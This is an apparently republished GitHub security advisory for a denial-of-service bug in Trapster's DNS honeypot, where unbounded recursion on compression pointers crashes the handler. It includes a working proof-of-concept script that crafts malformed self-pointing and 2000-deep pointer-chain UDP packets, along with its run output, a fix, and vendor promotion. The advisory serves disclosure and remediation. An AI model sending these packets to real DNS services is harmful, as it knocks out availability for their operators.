GHSA-mxwc-wh95-pw4g
MEDIUMTrapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler
Blast Radius
trapsterReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
trapster.libs.dns.decode_labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising RecursionError. That exception is not handled anywhere on the datagram_received path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).
Severity
Medium (CVSS:3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.
Affected component
- File:
trapster/libs/dns.py, functiondecode_labels()(called bydecode_question_section→decode_dns_message). - Reached from:
trapster/modules/dns.py,DnsUdpProtocol.datagram_received()→dns.decode_dns_message(data), wheredatais the raw attacker UDP payload received byDnsHoneypoton its configured bind address/port. - Version tested: latest
mainat commit23156739de23816657cbc4582ad32094ed1cab43.
Details
decode_labels implements RFC 1035 §4.1.4 name compression:
def decode_labels(message, offset):
labels = []
while True:
length, = struct.unpack_from("!B", message, offset)
if (length & 0xC0) == 0xC0:
pointer, = struct.unpack_from("!H", message, offset)
offset += 2
return labels + decode_labels(message, pointer & 0x3FFF), offset # <-- recurses per pointer
...
Each compression pointer triggers a fresh recursive call to decode_labels. There is:
- No cycle detection — a pointer that targets its own offset recurses forever.
- No depth bound — a chain of distinct forward pointers recurses once per pointer.
Either shape exhausts the Python stack and raises RecursionError. decode_dns_message does not catch it, and in DnsUdpProtocol.datagram_received the call dns.decode_dns_message(data) is unguarded, so the exception propagates out of datagram_received into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.
This is the same class of bug fixed upstream in python-zeroconf (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.
Proof of Concept
Real-deploy E2E. The actual trapster.modules.dns.DnsHoneypot server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes datagram_received.
e2e_poc.py:
import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger
HOST, PORT = "127.0.0.1", 15353
captured_loop_exceptions = []
def build_benign_query(qname=b"example.com"):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00"
return header + labels + struct.pack("!2H", 1, 1)
def build_self_pointer():
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 12) # pointer to offset 12 == this name
return header + name + struct.pack("!2H", 1, 1)
def build_pointer_chain(depth=2000):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 18)
qtail = struct.pack("!2H", 1, 1)
chain = bytearray()
for i in range(depth):
chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
chain += b"\x00"
return header + name + qtail + bytes(chain)
def send_udp(payload, timeout=1.0):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)
s.sendto(payload, (HOST, PORT))
try: return s.recvfrom(4096)[0]
except socket.timeout: return None
finally: s.close()
async def main():
loop = asyncio.get_running_loop()
def handler(loopobj, context):
exc = context.get("exception")
captured_loop_exceptions.append((repr(exc), context.get("message")))
print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}")
loop.set_exception_handler(handler)
hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"},
logger=BaseLogger(node_id="e2e"), bindaddr=HOST)
await hp.start(); await asyncio.sleep(0.4)
print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")
print("=== NEGATIVE CONTROL: benign query example.com A ===")
captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)
print(f" loop exceptions after benign packet: {len(captured_loop_exceptions)}")
assert len(captured_loop_exceptions) == 0
print(" -> benign packet parsed cleanly, no exception\n")
print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
captured_loop_exceptions.clear(); pkt = build_self_pointer()
print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")
print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n")
await hp.stop(); print("ALL ASSERTIONS PASSED")
if __name__ == "__main__":
sys.setrecursionlimit(1000)
asyncio.run(main())
Verbatim run against the deployed honeypot at commit 23156739de23816657cbc4582ad32094ed1cab43:
[deploy] DnsHoneypot listening on udp://127.0.0.1:15353
=== NEGATIVE CONTROL: benign query example.com A ===
loop exceptions after benign packet: 0
-> benign packet parsed cleanly, no exception
=== VECTOR A: single self-referential compression pointer (cycle) ===
packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no cycle guard)
=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no depth bound)
ALL ASSERTIONS PASSED
The negative control (a well-formed example.com A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.
Impact
Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.
Suggested fix
Make decode_labels iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors dnspython's biggest_pointer design and the zeroconf depth-bound fix.) Replace the bare raise "unknown label encoding" with a real exception, and consider wrapping dns.decode_dns_message(data) in DnsUdpProtocol.datagram_received in a try/except so a malformed packet is logged once rather than escaping to the loop handler.
Verified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to ValueError with no recursion):
def decode_labels(message, offset):
labels = []
return_offset = None
max_allowed_pointer = len(message)
while True:
length, = struct.unpack_from("!B", message, offset)
if (length & 0xC0) == 0xC0:
pointer, = struct.unpack_from("!H", message, offset)
if return_offset is None:
return_offset = offset + 2
target = pointer & 0x3FFF
if target >= max_allowed_pointer:
raise ValueError("invalid DNS compression pointer")
max_allowed_pointer = target
offset = target
continue
if (length & 0xC0) != 0x00:
raise ValueError("unknown label encoding")
offset += 1
if length == 0:
return labels, return_offset if return_offset is not None else offset
labels.append(*struct.unpack_from("!%ds" % length, message, offset))
try:
labels[-1] = labels[-1].decode()
except UnicodeDecodeError:
labels[-1] = str(labels[-1])
offset += length
A fix PR will be supplied from a temporary private fork during the embargo.
Credit
Discovered and reported by tonghuaroot.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | trapster | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for trapster. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of trapster has shipped for GHSA-mxwc-wh95-pw4g yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-mxwc-wh95-pw4g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-mxwc-wh95-pw4g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mxwc-wh95-pw4g in your dependencies?
O3 detects GHSA-mxwc-wh95-pw4g across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.